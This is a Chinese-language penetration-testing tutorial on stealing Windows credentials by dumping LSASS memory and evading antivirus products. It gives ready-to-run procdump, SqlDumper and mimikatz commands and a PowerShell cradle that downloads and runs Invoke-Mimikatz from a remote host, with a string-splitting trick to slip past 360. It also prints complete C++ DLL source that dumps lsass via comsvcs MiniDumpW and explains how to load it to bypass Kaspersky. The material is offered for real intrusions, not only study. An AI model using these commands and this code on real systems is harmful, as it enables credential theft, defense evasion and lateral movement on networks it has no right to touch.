前言
內(nèi)網(wǎng)滲透時,獲得主機(jī)管理員權(quán)限后,通常會抓取用戶的明文密碼或hash,進(jìn)行pth攻擊。
大部分情況會遇到防護(hù)軟件,常規(guī)抓取方法失效,因此需要對防護(hù)進(jìn)行繞過。
Procdump.exe
Procdump是微軟官方發(fā)布的工具,使用該工具可以把lsass的內(nèi)存dump下來,可以繞過大多數(shù)的防護(hù)軟件。
首先使用procdump.exe把進(jìn)程lsass.exe 的內(nèi)存dump下來
procdump.exe -accepteula -ma lsass.exe lsass.dmp

實戰(zhàn)中把 lsass.dmp 下載下來,在相同版本的操作系統(tǒng)使用mimikatz讀取密碼hash。
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

SqlDumper.exe
SqlDumper也屬于微軟出品,存在于SQL Server文件夾中,大多數(shù)殺軟不會攔截。
默認(rèn)存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。
如果目標(biāo)機(jī)器沒有安裝SQL Server,可以自己上傳SqlDumper.exe。
tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID號
Sqldumper.exe ProcessID 0 0x01100 導(dǎo)出mdmp文件

實戰(zhàn)中下把生成的mdmp文件下載到本地,使用相同的操作系統(tǒng)打開。
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

可過360,無法過卡巴斯基。

powershell免殺
結(jié)合powershell的免殺,加載Invoke-Mimikatz.ps1腳本獲取密碼hash。
使用命令遠(yuǎn)程加載ps1腳本。
powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

會被360攔截,繞過方法很多,這里可以使用分割繞過。
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://x.x.x.x/ps/Invoke-Mimikatz.ps1'')); Invoke-Mimikatz';IEX ($a+$b)"

無法繞過卡巴斯基。

繞過卡巴斯基抓取lsass中密碼
卡巴斯基對lsass.exe防護(hù)相當(dāng)變態(tài),上面的幾種方法都無法繞過卡巴斯基。
使用國外大佬XPN使用RPC控制lsass加載SSP的代碼,https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
將三個文件下載到本地,使用visual studio進(jìn)行編譯,需要修改了幾個地方。
(1)添加如下代碼
#pragma comment(lib, "Rpcrt4.lib") (引入Rpcrt4.lib庫文件)
(2)將.c文件后綴改成.cpp (使用了c++代碼,需要更改后綴)
(3) 編譯時選擇x64 (XPN大佬提供的是64位代碼)
編譯代碼得到.exe文件。
然后用生成的exe,加載dump內(nèi)存的dll文件,這里使用的是奇安信A-team團(tuán)隊公布的源碼,并在基礎(chǔ)上,增加了自動獲取lsass的PID號功能,無需每次使用重復(fù)編譯。
dll源碼如下:
#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>
#include <map>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
using namespace std;
int FindPID()
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot Error!" << endl;;
return false;
}
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult)
{
if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0)
{
return pe32.th32ProcessID;
}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return -1;
}
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0;
}
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\1.bin full");
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在測試機(jī)中安裝卡巴斯基進(jìn)行測試,使用Procdump會被攔截。


把編譯好的文件exe和dll放在同一目錄下。

使用管理員權(quán)限運(yùn)行exe,加載dll文件。
存在三個需要注意的點(diǎn):
1、調(diào)用dll文件要是完整的絕對路徑
2、文件要放在英文路徑下
3、在win7下測試只能執(zhí)行一次,第二次執(zhí)行電腦會重啟,其它系統(tǒng)未測試。

成功繞過防護(hù)生成了1.bin文件。
實戰(zhàn)中把生成的文件下載到本地,然后在版本相同的操作系統(tǒng)使用mimikatz讀取。
mimikatz# sekurlsa::minidump 1.bin
mimikatz# sekurlsa::loginpasswords full
成功讀取到密碼hash。

在線破解hash
https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php
參考鏈接
http://www.itdecent.cn/p/7ccf6e15fbe0
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://blog.csdn.net/xiangshen1990/article/details/104872566
https://mp.weixin.qq.com/s/8OueE-bEIdkvwPWu3KqrcQ